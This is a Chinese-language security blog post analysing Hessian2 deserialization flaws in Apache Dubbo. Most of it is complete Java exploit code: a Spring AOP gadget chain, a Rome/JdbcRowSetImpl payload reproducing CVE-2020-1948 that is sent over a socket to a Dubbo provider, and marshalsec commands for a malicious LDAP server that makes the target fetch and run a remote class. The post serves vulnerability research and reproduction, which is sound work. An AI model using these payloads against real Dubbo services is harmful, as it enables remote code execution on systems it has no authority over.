Dubbo的反序列化安全問題-Hessian2

bitterz發表於2021-11-08

0 前言

本篇是系列文章的第一篇,主要看看Dubbo使用反序列化協議Hessian2時,存在的安全問題。文章需要RPC、Dubbo、反序列化等前提知識點,推薦先閱讀和體驗Dubbo以及反序列化漏洞。

Dubbo原始碼分析

RPC框架dubbo架構原理及使用說明

RPC 框架 Dubbo 從理解到使用(一)

[RPC 框架 Dubbo 從理解到使用(二)

1 反序列化協議-Hessian2

hessian2是由caucho開發的基於Binary-RPC協議實現的遠端通訊庫,知名Web容器Resin的也是由caucho開發的。

在java中使用hessian2進行序列化和反序列化時,通過native方法或者反射(實際也用了native方法)直接對Field進行賦值操作,與某些呼叫setter和getter方法反序列化協議不同。

1.1 目標類型別反序列化器

在使用hessian2進行序列化和反序列化操作時,會自動根據類物件選擇序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output類,該類有writeObject方法如下

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
    if (object == null) {
        writeNull();
        return;
    }

    Serializer serializer;
    serializer = findSerializerFactory().getSerializer(object.getClass());
    serializer.writeObject(object, this);
}

這裡的serializer物件,顯然就是通過傳入的object型別,找到對應的序列化器,然後再使用對應的序列化器,對object進行序列化。hessian2中可以序列化的型別與相應的序列化器和反序列化器對應關係如下

型別 序列化器 反序列化器
Collection CollectionSerializer CollectionDeserializer
Map MapSerializer MapDeserializer
Iterator IteratorSerializer IteratorDeserializer
Annotation AnnotationSerializer AnnotationDeserializer
Interface ObjectSerializer ObjectDeserializer
Array ArraySerializer ArrayDeserializer
Enumeration EnumerationSerializer EnumerationDeserializer
Enum EnumSerializer EnumDeserializer
Class ClassSerializer ClassDeserializer
預設 JavaSerializer JavaDeserializer
Throwable ThrowableSerializer
InputStream InputStreamSerializer InputStreamDeserializer
InetAddress InetAddressSerializer

可以看出,Collection、Map、Iterator、Array這些常用型別都有相應的(反)序列化器

1.2 Hessian2中的gadget起始點

前面提到針對不同型別Hessian2中有相應的(反)序列化器,新增hessian2的依賴,從com.caucho.hessian.io.Hessian2Input#readObject()開始看原始碼

  • com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
	if (cl == null || cl == Object.class) return readObject();
    
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    switch (tag) {
        case 'N':
            {return null;}
        ..... // 省略
        case 'H':
          {
            Deserializer reader = findSerializerFactory().getDeserializer(cl);
            return reader.readMap(this);
          }

        case 'M':
          {
            String type = readType();
            // hessian/3bb3
            if ("".equals(type)) {
              Deserializer reader;
              reader = findSerializerFactory().getDeserializer(cl);
              return reader.readMap(this);
            }
            else {
              Deserializer reader;
              reader = findSerializerFactory().getObjectDeserializer(type, cl);
              return reader.readMap(this);
            }
          }
		..... // 省略
    }
}

這裡的case中,H是HashMap的序列化標誌,M是Map的序列化標誌,Hessian2反序列化時,根據該標值,獲取相應的反序列化器,即Deserializer,而針對不同的型別,反序列化器還有不同的處理,這裡H和M都會獲取到MapDeserializer,因此跟進該類的readMap方法

  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map);
    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
}

可以看到,根據_type這個引數去選擇構建哪種型別的Map類,而後通過while迴圈呼叫map.put方法將所有的key-value,傳遞到map中,而後返回這個建立的Map例項。如果對Commons-Collections利用鏈比較熟悉的話,應該會想到HashMap的利用鏈,在呼叫HashMap#put方法時,會觸發HashMap#hashCode方法,並進一步呼叫key.hashCode()方法,由於key被設定為了TiedMapEntry的例項,因此一步一步進入Transformer呼叫鏈。而這裡的map.put方法正是Hessian2的gadget起始點。在Dubbo中,雖然對Hessian2進行了一些魔改,但最終也會出現相同的呼叫:

2 Dubbo中的Hessian2漏洞利用

所用到的環境:

dubbo 2.7.3

springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)

2.1 本地方法測試

前面以及提到了,由於hessian2協議在反序列化中呼叫readObject()方法時,會呼叫根據反序列化的Map型別建立一個新的Map物件,而後呼叫該物件的put方法,因而可能造成反序列化漏洞利用。這裡先自己寫一個類實驗一下

package com.bitterz.dubbo;

import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap;

public class Hessian2Gadget {
    public static class MyHashMap<K, V> extends HashMap<K, V>{

        public V put(K key, V value) {
            super.put(key, value);
            System.out.println(111111111);
            try{
            Runtime.getRuntime().exec("calc");
            }catch (Exception e){}
            System.out.println(22222222);
            return  null;
        }
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        MyHashMap map = new MyHashMap();
        map.put("1", "1");
        
        // hessian2的序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
        hessian2Output.writeObject(map);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(new String(bytes, 0, bytes.length));
		// hessian2的反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();
        o.get(null);

        System.out.println(o);
    }

我這裡建立了一個MyHashMap類繼承自HashMap,並重寫了put方法,而後在main方法中利用hessian2對MyHashMap進行序列化和反序列化操作,執行程式碼後,輸出結果如下

很明顯,MyHashMap#put方法執行了兩次:

  • 序列化前為了向map中新增值put了一次,所以彈出一次計算器,並輸出了111和222;

  • 反序列化時,如前面所述,會呼叫到反序列化Map類的put方法去新增值,所以又彈出一次計算器,並輸出111和222;

因此Dubbo中hessian2協議確實存在被反序列化漏洞利用的可能性,但真正的Web環境中,不可能存在MyHashMap這樣的類,直接提供彈計算器的put方法:)因此還需要結合其它依賴進一步增加gadget的可利用性。

2.2 SpringPartiallyComparableAdvisorHolder

Dubbo預設依賴Spring、Javassist、netty等包,但實際開發使用中很可能用到springboot做微服務,以provider的身份提供服務,所以可以藉助常用的包完成gadget的構建,常見的hessian2可用gadget主要是ResinRomeSpringAbstractBeanFactoryPointcutAdvisorXBean這幾個。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的類,所以就以這個為例子構建一下poc,程式碼如下

package com.bitterz.dubbo;

import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;


public class Hessian2SpringGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                    break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://localhost:1389/ExecTest";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);

        //反序列化時BeanFactoryAspectInstanceFactory.getOrder會被呼叫,會觸發呼叫SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

        //反序列化時AspectJAroundAdvice.getOrder會被呼叫,會觸發BeanFactoryAspectInstanceFactory.getOrder
        AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl);

        //反序列化時AspectJPointcutAdvisor.getOrder會被呼叫,會觸發AspectJAroundAdvice.getOrder
        AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

        //反序列化時PartiallyComparableAdvisorHolder.toString會被呼叫,會觸發AspectJPointcutAdvisor.getOrder
        AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice);

        //反序列化時Xstring.equals會被呼叫,會觸發PartiallyComparableAdvisorHolder.toString
        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor);

        //反序列化時HotSwappableTargetSource.equals會被呼叫,觸發Xstring.equals
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

        //反序列化時HashMap.putVal會被呼叫,觸發HotSwappableTargetSource.equals。這裡沒有直接使用HashMap.put設定值,直接put會在本地觸發利用鏈,所以使用marshalsec使用了比較特殊的處理方式。
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        // 避免序列化時觸發gadget
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);


        // hessian2序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // hessian2反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }
}

還需要用marshalsec開一個惡意ldap服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

其中ExecTest.class由如下程式碼編譯而成

import java.io.IOException;
public class ExecTest {
    public ExecTest() throws IOException {
        final Process process = Runtime.getRuntime().exec("calc");
    }
}

之後用python在ExecTest.class檔案目錄中開啟檔案下載服務

py -3 -m http.server 8090

執行前面的gadget,ldap服務收到請求,並讓客戶端訪問8090埠下載.class檔案,並執行該類的無參構造方法,彈出計算器

前面的gadget在註釋中已經寫明瞭具體的觸發路徑,就不做詳細的展開了,可以將ExecTest.java中彈計算器的程式碼替換成new java.io.IOException().printStackTrace();,再跟蹤呼叫棧即可。這個gadget在springboot下無法復現成功,可能是springboot中aop相關類有一些修改

2.3 Rome (CVE-2020-1948復現)

Rome是java中實現RSS訂閱的包,依賴如下

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

這裡復現CVE-2020-1948(Apache Dubbo Provider 反序列化)

  • 首先下載zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
  • 配置
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/絕對路徑/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
  • 修改絕對路徑,在data目錄下放置一個myid檔案
mkdir data
touch data/myid
  • 啟動zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
  • 安裝dubbo-samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
  • 修改dubbo-samples/dubbo-samples-api/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>dubbomytest</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>


    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>2.7.6</dubbo.version>
        <junit.version>4.12</junit.version>
        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
        <image.name>${project.artifactId}:${dubbo.version}</image.name>
        <java-image.name>openjdk:8</java-image.name>
        <dubbo.port>20880</dubbo.port>
        <zookeeper.port>2181</zookeeper.port>
        <main-class>org.apache.dubbo.samples.provider.Application</main-class>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-common</artifactId>
            <version>2.7.3</version>
        </dependency>

        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <version>2.7.3</version>
            <type>pom</type>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

    </dependencies>

</project>
  • 編譯啟動
mvn clean package
或者直接在idea裡面啟動provider/Application.java

注意修改zookeeper和dubbo的埠,啟動後輸出dubbo service started即表示dubbo已啟動

使用的payload如下

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Hessian2RomeGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                        break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此處填寫ldap url
        rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此處填寫被攻擊的dubbo服務提供者地址和埠
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

和前面2.2一樣,用marshalsec開啟jndi服務,再用python開個檔案下載服務,然後執行payload,向dubbo傳送惡意資料,而後在dubbo provider中反序列化觸發相應的gadget,實現rce,效果如下

該漏洞在Dubbo 2.7.8中被修復,通過新增黑名單的形式過濾了關鍵類

總結

dubbo中的hessian2反序列化時,處理map型別的物件會呼叫map.get方法,而get方法在HashMap的實現中會設計到hashCode、equals方法的呼叫,從而給某些危險的類方法呼叫造成了可乘之機。而dubbo使用hessian2作為預設的反序列化協議,容易被髮起反序列化漏洞攻擊,應當使用白名單過濾反序列化類名。另外有大佬提到,使用黑名單的情況下,物件被反序列化後,呼叫物件的其它方法,也可能造成威脅http://rui0.cn/archives/1338

這一篇是Dubbo反序列化研究記錄的開始,後面還將針對

  • Dubbo 2.x下的kryo、fst反序列化漏洞進行學習和研究(CVE-2021-25641)
  • 基於kryo的akka協議在flink中的漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 以及Dubbo 3.x下的triple協議產生的安全漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 漏洞復現:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 指令碼遠端程式碼執行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 遠端程式碼執行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 遠端程式碼執行漏洞復現

相關文章